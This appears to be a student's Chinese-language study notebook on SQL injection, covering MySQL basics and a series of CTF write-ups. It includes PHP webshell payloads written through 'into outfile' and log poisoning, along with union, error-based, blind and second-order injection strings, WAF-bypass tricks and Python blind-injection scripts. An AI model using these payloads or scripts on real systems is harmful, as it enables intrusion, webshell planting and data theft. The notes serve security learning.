sql注入学习

学习笔记

mysql增删查改

1.基础

1
2
3
4
5
mysql -u root -p 
输入密码//登录
show databases;#查询所有的数据库
use database_name;#修改//进入所在库
exit;#退出所在的库

2.查询

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
查询当前库内包含的表
mysql> show tables;
+----------------+
| Tables_in_dvwa |
+----------------+
| guestbook |
| users |
+----------------+
查询表内的所有列
mysql> select * from guestbook;#当前库内的表
+------------+-------------------------+------+
| comment_id | comment | name |
+------------+-------------------------+------+
| 1 | This is a test comment. | test |
+------------+-------------------------+------+
查询其他库内的表
select * from 库名.表名;
查询某一列
select 列名 from 库名.表名
也可以使用以下语句

mysql> select group_concat(table_name)from information_schema.tables where table_schema='dvwa'
-> ;
+--------------------------+
| group_concat(table_name) |
+--------------------------+
| guestbook,users |
+--------------------------+
1 row in set (0.00 sec)

mysql> select group_concat(column_name)from information_schema.columns where table_schema='security' and table_name='emails'
-> ;
+---------------------------+
| group_concat(column_name) |
+---------------------------+
| id,email_id |
+---------------------------+
1 row in set (0.00 sec)
--全表查询


select * from [表名];
--指定列查询
select [列名1, 列名2,...] from [表名];
--查询表达式字段
select [表达式1, 表达式2,...] from [表名];
--别名
select
--去重 DISTINCT
select distinct [字段] from [表名];
-- 排序ORDER BY
select * from [表名] order by [排序字段];
-- 条件查询WHERE
-- (1)比较运算符 (2)BETWEEN ... AND ... (3)IN (4)IS NULL (5)LIKE (6)AND (7)OR
(8)NOT
select * from [表名] where [条件];

3.增加

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
建立一个数据库
create database_name;
建立一个新的表
create table table_name(
column1 datatype,
.......
);
举例
CREATE TABLE users (
id INT AUTO_INCREMENT PRIMARY KEY,
username VARCHAR(50) NOT NULL,
email VARCHAR(100) NOT NULL
);
id 列是一个自增主键,username 和 email 列是字符串列,其中 NOT NULL 表示这些列不能为空。
插入数据
INSERT INTO table_name (column1, column2, column3, ...)
VALUES (value1, value2, value3, ...);
---------------------------------------------------------------
INSERT INTO table_name2 (column1, column2, column3, ...)
SELECT column1, column2, column3, ...
FROM table_name1
WHERE condition;
---------------------------------------------------------------
LOAD DATA INFILE 'file_path'
INTO TABLE table_name
FIELDS TERMINATED BY ',' ENCLOSED BY '"'
LINES TERMINATED BY '\n';
------------------------------------------------------------------
INSERT IGNORE INTO table_name (column1, column2, ...)
VALUES (value1, value2, ...);
-------------------------------------------------------------------
INSERT INTO table_name (column1, column2, ...)
VALUES (value1, value2, ...)
ON DUPLICATE KEY UPDATE column1 = value1, column2 = value2, ...;
--------------------------------------------------------------------
REPLACE INTO table_name (column1, column2, ...)
VALUES (value1, value2, ...);
---------------------------------------------------------------------

-- 单行插入
insert into [表名] (字段1, ..., 字段N) values (value1, ...,value N);
-- 多行插入
insert into [表名](字段1, ..., 字段N) values
(value1, ...),
(value2, ...),
(value3, ...);

4.删除数据

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
DELETE FROM table_name
WHERE condition;#删除满足特定要求的行
----------------
TRUNCATE TABLE table_name;
#删除数据,但是保留结构和定义
-- 删除 ming 同学的考试成绩
delete from exam_result where name = 'ming';

-- 删除整张表
delete from exam_result;

DROP DATABASE IF EXISTS `数据库名`;
DROP TABLE IF EXISTS `表名`;
TRUNCATE TABLE `表名`;#清空表中的数据,DDL操作!无法回滚!
DELETE FROM `表名`;#删除表中的所有记录,DML操作,可以回滚。不加WHERE关键字就是删除所有的记录
DROW VIEW `视图名`;

5.修改数据

1
2
3
4
5
6
7
update [表] set [修改内容1, 修改内容2, ....] where  [条件];
ALTER DATABASE `数据库名` CHARACTER SET '字符集';
ALTER TABLE `表名` ADD(`新字段1` 类型1,`新字段1` 类型1) FIRST或AFTER `某字段`;#FIRST和AFTER省略时默认在最后添加新字段
ALTER TABLE `表名` MODIFY `某字段` 类型 DEFAULT 默认值;#更改某字段类型,类型更改到小储存空间类型是会报错的
ALTER TABLE `表名` CHANGE `旧字段名` `新字段名` 类型;#直接更改某一字段的名字和类型
ALTER TABLE `表名` DROP COLUMN `某字段`;#删除表中的某一个字段
RENAME TABLE `旧表名` TO `新表名`;#更改某一张表的表名

6.写入木马

1
2
3
4
5
6
7
8
9
10
11
12
13
14
1.利用into outfile写入木马文件

select "<?php eval($_POST['cmd']);?>" into outfile "D:\\phpstudy_pro\\WWW\\shell.php"
2.利用日志文件写入木马
1.开启日志功能

set global slow_query_log=1;
2.设置日志存储路径

SET GLOBAL slow_query_log_file='D:\\phpstudy_pro\\WWW\\shell.php';
3.执行sql语句

select '<?php eval($_GET[H])?>' or SLEEP(11);

1.union注入

-1’union语句

1.查表列数

-1’order by 1~4;

查完后使用select 语句

select 1,2,3;

查库名

-1’union select 1,database();

查表名

-1’union select 1,(select group_concat(table_name)from information_schema.tables where table_schema=’security’),3#

查列名

-1’union select 1,(select group_concat(column_name)from information_schema.columns where table_schema=’security’ and table_name=’emails’),3#

直接查数据

-1’union select 1,(select email_id from emails limit 2,1),3#

2.报错注入

1.extractvalue函数

查询对象xml某一个标签的值

如果查询的标签格式不对,就会报错

利用concat函数来链接两个字符串

查询数据库:’ and extractvalue(‘div’,concat(‘~’,database()))#

->查询div,~存在会报错

爆出~database()

2.updatexml

更新xml文档内容

语法:updatexml(‘xml名’,’路径名’,更新值);

同样道理,当没有对应路径的时候会报错

‘ and updatexml(‘div’, concat(‘~’,database()),’hi’)#

其他同上

3.绕过方法

1.大小写绕过

如过过滤了and和AND,试试And

2.双写绕过

如果waf把and替换为空

然后可以使用anandd绕过

3.空格过滤绕过

/**/

()->select(1),2,3

()可以作为一个子语句查询存在

url编码绕过,%0a;

`代替。

4.and和or绕过

考虑管道符||表示or和&&表示and

5.=绕过

改成like

6.逗号过滤

select substr(‘abc’,1,1)->from 1 for 1

select 1,2,3-><select 1>a join <select 2>b join<select 3>c join

limit 0,1->limit 1 offset 0;

4.sql模糊查询

SQL模糊查询,使用like比较关键字,加上SQL里的通配符,请参考以下:

1、LIKE’Mc%’ 将搜索以字母 Mc 开头的所有字符串(如 McBadden)。

2、LIKE’%inger’ 将搜索以字母 inger 结尾的所有字符串(如 Ringer、Stringer)

3、LIKE’%en%’ 将搜索在任何位置包含字母 en 的所有字符串(如 Bennet、Green、McBadden)。

4、LIKE’_heryl’ 将搜索以字母 heryl 结尾的所有六个字母的名称(如 Cheryl、Sheryl)。

5、LIKE’[CK]ars[eo]n’ 将搜索下列字符串:Carsen、Karsen、Carson 和 Karson(如 Carson)。

6、LIKE’[M-Z]inger’ 将搜索以字符串 inger 结尾、以从 M 到 Z 的任何单个字母开头的所有名称(如 Ringer)。

7、LIKE’M[^c]%’ 将搜索以字母 M 开头,并且第二个字母不是 c 的所有名称(如MacFeather)。

盲注

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29

import requests
s = requests.session()
url = "http://192.168.43.190/sqli-labs/Less-8/?id=1"
#判断列数
for l in range(1,50):
columnNumber_payload = "' and (select count(column_name) from information_schema.columns where table_name='users')="+str(l)+"%23"#选表
if "You are in..........." in s.get(url+columnNumber_payload).text:
columnNumber = l
break
print("columnNumber:",columnNumber)
#爆列名长度
#爆列名
for l in range(0,columnNumber):#第几个表
columnName = ''
for i in range(1,50):
columnLen_payload = "' and length(substr((select column_name from information_schema.columns where table_name='users' limit "+str(l)+",1),1))="+str(i)+"%23"
if "You are in..........." in s.get(url+columnLen_payload).text:
columnLen = i
break
print("column"+str(l+1)+"Len:",columnLen)
#爆列名
for m in range(1,columnLen+1):
for n in range(1,128):
columnName_payload = "' and ascii(substr((select column_name from information_schema.columns where table_name='users' limit "+str(l)+",1),"+str(m)+",1))="+str(n)+"%23"
if "You are in..........." in s.get(url+columnName_payload).text:
columnName = columnName + chr(n)
break
print("columnName"+str(l+1)+":"+columnName)

1.[suctf 2019]EasySQL

注入攻击;

使用1;show tables;

看到了flag那个表

但是我直接select的时候不行

查了一下了wp

这题的本意是想让我猜测查询语句

select $_POST[‘query’] || flag from Flag

所以需要闭合查询语句

sql_mode 设置了 PIPES_AS_CONCAT 时,|| 就是字符串连接符,相当于CONCAT() 函数
当 sql_mode 没有设置 PIPES_AS_CONCAT 时 (默认没有设置),|| 就是逻辑或,相当于OR函数
第一种就按默认没有配置来进行,此时||就是逻辑或

直接,闭合查询语句就变成

select *,1||flag from Flag

得到flag;

2.[强网杯 2019]随便注

1‘;不报错,’闭合。select被过滤;

show tables;查库名;

查到1919810114514;和words两个表;

查询1;

显示的是words表里面的内容。

1’;show columns from 1919810931114514,看到flag

猜测查询语句是

select *from words where id=

更换表名库名直接查询

处理方法1.使用rename函数把1919810114514改名为words

rename table words to words1; 修改表 words 改名为其它,

rename table 1919810931114514 to words;修改表 1919810931114514 改名为 words ,

alter table words change flag id varchar(100) character set utf8 collate utf8_general_ci not NULL;修改列 flag 改名为 id ,

或者可以 alter table words add id int unsigned not Null auto_increment primary key;在表 1919810931114514 插入一列 id,

然后再 1’ or 1=1# ,展示flag

sql预处理语句

在sql语句中,@ 用于定义变量。

concat(),函数用于字符串拼接。

char(),将ASCII码转换为对应的字符。

定义预处理语句 PREPARE stmt_name FROM preparable_stmt;

执行预处理语句 EXECUTE stmt_name [USING @var_name [, @var_name] …];

删除(释放)定义 {DEALLOCATE | DROP} PREPARE stmt_name;

char()—->转义为select;

1’;SET @sql = concat(char(115,101,108,101,99,116), “ * from 1919810931114514“); PREPARE yuchuli from @sql; EXECUTE yuchuli;

mysql特有hander语句;

mysql除可使用select查询表中的数据,也可使用handler语句,这条语句使我们能够一行一行的浏览一个表中的数据,不过handler语句并不具备select语句的所有功能。它是mysql专用的语句,并没有包含到SQL标准中。

  • HANDLER tbl_name OPEN [ [AS] alias]

  • HANDLER tbl_name READ index_name { = | <= | >= | < | > } (value1,value2,…)[ WHERE where_condition ] [LIMIT … ]

  • HANDLER tbl_name READ index_name { FIRST | NEXT | PREV | LAST }[ WHERE where_condition ] [LIMIT … ]

  • HANDLER tbl_name READ { FIRST | NEXT }[ WHERE where_condition ] [LIMIT … ]

  • HANDLER tbl_name CLOSE

  • handler users open as yunensec; #指定数据表进行载入并将返回句柄重命名

  • handler yunensec read first; #读取指定表/句柄的首行数据

  • handler yunensec read next; #读取指定表/句柄的下一行数据

  • handler yunensec read next; #读取指定表/句柄的下一行数据

  • handler yunensec close; #关闭句柄

  • 1’;
    handler tablename open;
    handler tablename read first #

神奇至此!

3.[极客大挑战 2019]HardSQL

使用fuzz字典寻找过滤点

过滤好多东西

union被过滤了,还有空格与=

空格考虑()包裹查询语句,=考虑是用like来处理

and过滤

使用管道符&和&&

或者使用^

查库名字1’^extractvalue(1,concat(‘~’,database()))#

查到为geek

查表名字

1’^extractvalue(1,concat(0x7e(select(group_concat(table_name))from(information_schema.tables)where((table_schema)like(‘geek’)))))#

查列名字

1’or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like(‘H4rDsq1’)),0x7e),1))#

查到三列

查flag

1’or(updatexml(1,concat(0x7e,(select(group_concat(id,’‘,username,’‘,password))from(H4rDsq1)),0x7e),1))#

flag{94400863-aad5-44de-

只有前半个

使用left()和right()函数

左右查

1’^extractvalue(1,concat(0x7e,(select(left(password,30))from(geek.H4rDsq1))))#

1’^extractvalue(1,concat(0x7e,(select(right(password,30))from(geek.H4rDsq1))))#

flag{9dc049b5-1139-4086-8ff9-9

5-1139-4086-8ff9-9346d2faaeb1}

4.[GXYCTF2019]BabySQli

MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5

提示

base32与base64解码得到提示

select * from user where username = ‘$name’

fuzz一下,过滤了or

使用Order

order by 3–+回显正常

在联合查询并不存在的数据时,联合查询就会构造一个虚拟的数据。

相当于伪造了一个身份

select a,b,c;

会成功建立一个a/b/c的用户

只不过会快速消逝

然后猜测

查询结果为id,user,pw。

当pw的md5值大小为所给值

爆出flag

5.[UNCTF2022]sqlsql

二次注入

二次注入

二次注入可以理解为,攻击者构造的恶意数据存储在数据库后,恶意数据被读取并进入到SQL查询语句所导致的注入。防御者可能在用户输入恶意数据时对其中的特殊字符进行了转义处理,但在恶意数据插入到数据库时被处理的数据又被还原并存储在数据库中,当Web程序调用存储在数据库中的恶意数据并执行SQL查询时,就发生了SQL二次注入。

注册账号,登录

考试页面会吧我的答题数据写入数据库去,依照这点,把一个虚假的admin账号密码写入数据库

看到flag需要admin

源码中只查询了名字为admin,就可以借这一点查询flag

抓包,插入恶意语句

q1=4&q2=3&q3=1&q4=1&q5=1’);insert into users values (NULL, ‘admin’, ‘123’);

用admin和123登录

得到flag

6.[SWPUCTF 2021 新生赛]error

sqlmap使用

本来需要报错注入,今天使用sqlmap

sqlmap -u “url” –dbs

得到库名

sqlmap -u “url”

sqlmap -u “url” 库名 –tables

sqlmap -u “url” -D 库 -T 表 –columns

sqlmap -u “url” -D 库 -T 表 -C 目标字段 –dump全出

7.[SWPUCTF 2021 新生赛]sql

注入测试

1’%23成功,1’报错

过滤了空格和=

查字段:1’order/ ** /by/**/3%23

查库:-1’select/**/1,2,database()%23

查表:-1%27union//select//1,database(),(select//group_concat(table_name)from//information_schema.tables//where//table_schema//like//‘test_db’)%23

查列

-1’union//select//1,2,group_concat(column_name)//from//inform
ation_schema.columns//where//table_schema//like//‘test_db’%23

查flag:-1’union//select//1,2,(select//flag//from//LTLT_flag//limit/**/0,1)%23

查到了一部分NSSCTF{7e559478-84d7

然后不会了……

sql回显限制

sql查询语句只能回显20个,需要用

substr,right,REVERSE,mid函数截取后读取

这里使用mid()

-1’union//select//1,2,(select//mid(group_concat(flag),20,40)//from//LTLT_flag//limit/**/0,1)%23

:7-4484-bcd0-082d7dd6

0-082d7dd6e566}

拼接flag

substr(strings|express,m,[n])

strings|express :被截取的字符串或字符串表达式

m 从第m个字符开始截取

n 截取后字符串长度为n

right(s,n)

参数说明:s待获得子串的源串n获得子串的长度

REVERSE

1’ and extractvalue(‘div’,reverse(concat(‘~’,(select flag from test_tb))))#

返回字符顺序颠倒的字符串表达式。例如 ‘Hello World!’ 返回为 ‘!dlroW olleH’。这是一个简单的字符串顺序反转,没有额外的处理。

mid()

同substr

8.[hgame2023]Search Commodity

打开首先是一个登陆界面,user01+弱密码爆破

密码为admin123

来到查询界面,明显是sql注入

fuzz一下,看到好多被过滤的

sql语句对大小写不敏感

看了大佬的wp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import requests

if __name__ == '__main__':
url = "http://week-2.hgame.lwsec.cn:30649/search"#目标网址
index = 0
s = ''
trytxt = "0/*a*/oorrder/*a*/by/*a*/1#"#探测查询语句
curr_index = 0
while True:
if curr_index >= len(trytxt):
break
i = ord(trytxt[curr_index])
ret = requests.post(url, data={
'search_id': 'if(ascii(substr("%s", %s, 1))-%s, 1, 0) #' % (trytxt, index + 1, i)
}, headers={
'Cookie': 'SESSION=MTY3MzY5OTE4OHxEdi1CQkFFQ180SUFBUkFCRUFBQUpQLUNBQUVHYzNSeWFXNW5EQVlBQkhWelpYSUdjM1J5YVc1bkRBZ0FCblZ6WlhJd01RPT18AR8PZ-KQWwv_JAl1ST0jJSnaQOEAfhkREQ0wq8-L2XU=;'#可能需要的cookie
})
if 'hard disk' not in ret.text:#网页爬内容,寻找关键语句
s += chr(i)
index += 1
print(s)#未过滤就输出
curr_index += 1

直接使用此脚本构造攻击语句

过滤全部大小写

查表

-1/a/Union/a/Select/a/1,(Select/a/group_concat(table_name)frOm/a/infoorrmation_schema.tables/a/Where/a/table_schema/a/like/a/‘se4rch’),3#

查列

1/a/Union/a/Select/a/1,(Select/a/group_concat(column_name)From/a/infOrmation_schema.columns/a/Where/a/table_schema/a/like/a/‘se4rch’/a/And/a/table_name/a/like/a/‘5ecret15here’),3#

查flag

0/a/UNion/a/SELECt/a/1,group_Concat(f14gggg1shere),1/a/frOm/a/5ecret15here#

9.[CISCN 2019华北Day2]Web1

异或注入
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
import requests
import string

def blind_sql(url):
flag=''#空字符串接受跑出来的flag
for num in range(1,60):
for i in string.printable:#一个符号和数字字母混合的表
payload='(select(ascii(mid(flag,{0},1))={1})from(flag))'.format(num,ord(i))
#ascii表查询值的大小,如果查询到就返还ture值然后得到flag的一个字符
post = {"id":payload}
result = requests.post(url=url,data=post)
if 'Hello' in result.text:
flag += i
print(flag) #输出查找结果

else:
continue
print(flag)

if __name__ == '__main__':
url='http://1.14.71.254:28957/index.php'
blind_sql(url)

10[NISACTF 2022]jion_us

sql注入,上来先习惯性fuzz以下

要命的过滤在and和database还有columns

过滤and的方式

1.大小写绕过

2.双写绕过

3.管道符执行

4.url编码

注入表使用管道符

sql查询一个不存在的表会报错

1’||(select * from aa)# =>报错得到库名字sqlsql

tt=1’||(extractvalue(‘div’, concat(‘~’,(select group_concat(table_name)from information_schema.tables where table_schema like ‘sqlsql’),’hi’)))#

=》得到表名Fal_flag,outputhi

列名的注入过滤了coulmns

使用join注入

(select * from (select * from 表名 a join 表名 b using(已知的字段1,已知的字段2,……)c))

tt=1’||(extractvalue(‘div’, concat(‘~’,(select * from(select * from Fal_flag a join Fal_flag b )c),’hi’)))#

查到Fal_flag表内的字段id

tt=1’||(extractvalue(‘div’, concat(‘~’,(select * from(select * from output a join output b )c),’hi’)))#

查到output里面的data库

查出flag,用mid截断输出。

11.[第五空间 2021]yet_another_mysql_injection

模糊查询

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import requests
import string
import time
url="http://1.14.71.254:28545/"
flag=""
for a in range(1,50):
for i in string.printable:
data={"username":"admin","password":f"1'or/**/password/**/like/**/'{flag+i}%'#"}
rsp=requests.post(url,data=data)
time.sleep(0.1)
if "something wrong" not in rsp.text:
flag+=i
print(flag)
break

%作为通配符,用来匹配之后的内容

其他解法

Quine注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
将第一个个和第三个参数都改为'replace(".",char(46),".")'
就是select replace('replace(".",char(46),".")',char(46),'replace(".",char(46),".")');
结果为
mysql> select replace('replace(".",char(46),".")',char(46),'replace(".",char(46),".")');
+-----------------
----------------------------------------------------------+
| replace('replace(".",char(46),".")',char(46),'replace(".",char(46),".")') |
+---------------------------------------------------------------------------+
| replace("replace(".",char(46),".")",char(46),"replace(".",char(46),".")") |
+---------------------------------------------------------------------------+
1 row in set (0.00 sec)
为什么会返回这个结果呢
sql语句为select replace('replace(".",char(46),".")',char(46),'replace(".",char(46),".")');
第一个参数'replace(".",char(46),".")'
第二个参数char(46)也就是"."
第三个参数'replace(".",char(46),".")'
也就是用第三个参数将第一个字符串里面的.换成replace(".",char(46),".")
但是两个句子在第一个参数和第三个参数当中的引号还是有差别的,还并不是输入输出一致
要做的输入输出一致还必须在嵌套一层将双引号替换为单引号#char(34)为",char(39)为'
select replace(replace('"."',char(34),char(39)),char(46),".");
#将"."的"换成'然后将.换成.
结果为
mysql> select replace(replace('"."',char(34),char(39)),char(46),".");
+--------------------------------------------------------+
| replace(replace('"."',char(34),char(39)),char(46),".") |
+--------------------------------------------------------+
| '.' |
+--------------------------------------------------------+
1 row in set (0.00 sec)
根据上面的形式要使得输入和输出结果一样
就用replace(replace(".",char(34),char(39)),char(46),".")替换"."也就是
select replace(replace('replace(replace(".",char(34),char(39)),char(46),".")',char(34),char(39)),char(46),'replace(replace(".",char(34),char(39)),char(46),".")');
运行结果为
mysql> select replace(replace('replace(replace(".",char(34),char(39)),char(46),".")',char(34),char(39)),char(46),'replace(replace(".",char(34),char(39)),char(46),".")');
+------------------------------------------------------------------------------------------------------------------------------------------------------------+
| replace(replace('replace(replace(".",char(34),char(39)),char(46),".")',char(34),char(39)),char(46),'replace(replace(".",char(34),char(39)),char(46),".")') |
+------------------------------------------------------------------------------------------------------------------------------------------------------------+
| replace(replace('replace(replace(".",char(34),char(39)),char(46),".")',char(34),char(39)),char(46),'replace(replace(".",char(34),char(39)),char(46),".")') |
+------------------------------------------------------------------------------------------------------------------------------------------------------------+
1 row in set (0.00 sec)
就达到了输入输出一样的结果

12.[[NCTF 2018]滴!晨跑打卡]

上来简单fuzz下

过滤了空格和%0a,#,%23,–,-~

过滤空格可以用%a0(必须bp抓包发送)

过滤注释符号可以这样||1’

后面错误无法执行,前面继续正常执行,得到

常规注入

13.[湖湘杯 2021 final]Penetratable

二次注入

注册名字为admin”#的账号,系统保存的时候会变成admin

对admin”#修改密码注入导致存在二次注入的问题

对admin的修改密码没有进行后端检验

可以直接修改

对于root密码的修改存在前端的检验。直接发包就可以修改

14.hznu初赛

是个盲注入

记录一下脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import base64

import requests


def sql(url):
flag = ''
# pay = "1'/**/or/**/ascii(substr((SELECT/**/group_concat(schema_name)/**/from/**/information_schema.schemata)," \
# "{},1))>{}#"
pay = "1'/**/or/**/ascii(substr((SELECT/**/group_concat(password)/**/from/**/user)," \
"{},1))>{}#"
for i in range(33, 100):
left = 32
right = 126
mid = (left + right) // 2
while left < right:
payload = pay.format(i, mid)
# print(base64.b64encode(payload[::-1].encode()))
data = {'username': base64.b64encode(payload[::-1].encode()), 'passwd': '1'}
r = requests.post(url, data=data)

if 'success' in r.text:
left = mid + 1
else:
right = mid
mid = (left + right) // 2

flag += chr(mid)
print(flag)


if __name__ == '__main__':
sql('http://ec1c31a6-00ba-47b7-bcf3-70c9148abad7.ite.hznu.edu.cn/')
# requests.get('http://532b761c-0015-4b4a-a67c-a08e42066576.ite.hznu.edu.cn/')

15.lits新生赛 sql?注一下看看

跨库注入

注入的库内没有我们需要的数据(可恶)

跨库注入首先需要明确注入点的权限,若不是root权限或者管理员权限,那么无法执行跨库注入,只有高权限才能执行跨库注入。
  简单来说,跨库注入就是在同一个数据库管理系统中,在某一个点存在SQL注入,而通过这点查询到,该权限为Root权限,那么就可以使用这种方式去操作同数据库下的其它网站数据库,这样就实现的跨库注入。

使用information_schema.schemata获取所有的数据库名,由于在Mysql>5.0版本的时候都会将所有库、所有表、所有列都会放在一张统一的表中

命令:http://127.0.0.1/sql-labs/Less-2/?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=’pikachu’–+

然后就是普通的注入环节

命令:http://192.168.10.150/sql-labs/Less-2/?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name=’users’ and table_schema=’pikachu’–+

16.a1ctf2023

前面过滤了空格和%23,

查列数

1
2
3
4
5
6
7
8
9
10
11
12
13
1'order/**/by/**/2#
查库名字
1'union/**/select/**/database()/**/2#
查出来是ctf
查表
id=-1'union/**/select/**/(select/**/group_concat(table_name)from/**/information_schema.tables/**/where/**/table_schema='ctf'),2#
查出来是
s3rets,users
查列
id=-1'union/**/select/**/(select/**/group_concat(column_name)from/**/information_schema.columns/**/where/**/table_schema='ctf'/**/and/**/table_name='s3rets'),2#
得到id,flag
查flag

到这一步,flag被过滤啦(可恶)

其他都是一般的注入,但是过滤了flag的列名,无法直接使用select * from flag

无列名注入
1
2
3
4
5
6
7
id=-1'/**/union/**/select/**/(select/**/b/**/from/**/(select/**/1/**/as/**/a,2/**/as/**/b/**/union/**/select/**/*/**/from/**/s3rets)a/**/limit/**/1,1),2#
这里的查询原理如下
(select/**/b/**/from/**/(select/**/1/**/as/**/a,2/**/as/**/b/**/union/**/select/**/*/**/from/**/s3rets)a/**/limit/**/1,1)
1.
(select/**/1/**/as/**/a,2/**/as/**/b/**/union/**/select/**/*/**/from/**/s3rets)a
在这里查询的时候查询s3ret这个表里面的两个列,用1,2两个虚构的列来表示user和flag这两个列,然后外层的的查询虚构的列名

虚构一个1,2的表格,对应相关值用ab做别名查询

CTF|mysql之无列名注入 - 知乎 (zhihu.com)